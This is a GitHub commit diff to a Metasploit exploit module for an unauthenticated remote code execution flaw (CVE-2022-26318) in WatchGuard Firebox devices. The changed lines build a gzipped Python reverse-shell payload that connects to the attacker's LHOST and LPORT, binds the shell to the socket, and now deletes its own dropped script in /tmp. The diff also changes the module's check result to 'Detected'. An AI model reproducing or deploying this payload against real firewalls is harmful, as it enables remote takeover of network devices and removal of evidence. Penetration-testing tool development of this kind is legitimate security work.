Skip to content

Commit 6e6f1be

Browse files
committed
update addressing jheysel-r7 comments
1 parent 7f02daf commit 6e6f1be

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -121,19 +121,13 @@ def create_bof_payload
121121
payload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encode
122122
payload << "s.connect((\"#{datastore['LHOST']}\",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);".encode
123123
payload << "call([\"#{datastore['SHELL']}\",\"-i\"]);".encode
124+
payload << "import os; os.remove(\"#{@py_fname}\");".encode
124125
return Zlib.gzip(payload)
125126
end
126127

127-
def on_new_session(session)
128-
# cleanup python payload script in /tmp
129-
session.run_command('import os')
130-
session.run_command("os.remove(\"#{@py_fname}\")")
131-
super
132-
end
133-
134128
def check
135129
print_status("Checking if #{peer} can be exploited.")
136-
return CheckCode::Appears if check_watchguard_firebox?
130+
return CheckCode::Detected if check_watchguard_firebox?
137131

138132
CheckCode::Safe
139133
end

0 commit comments

Comments
 (0)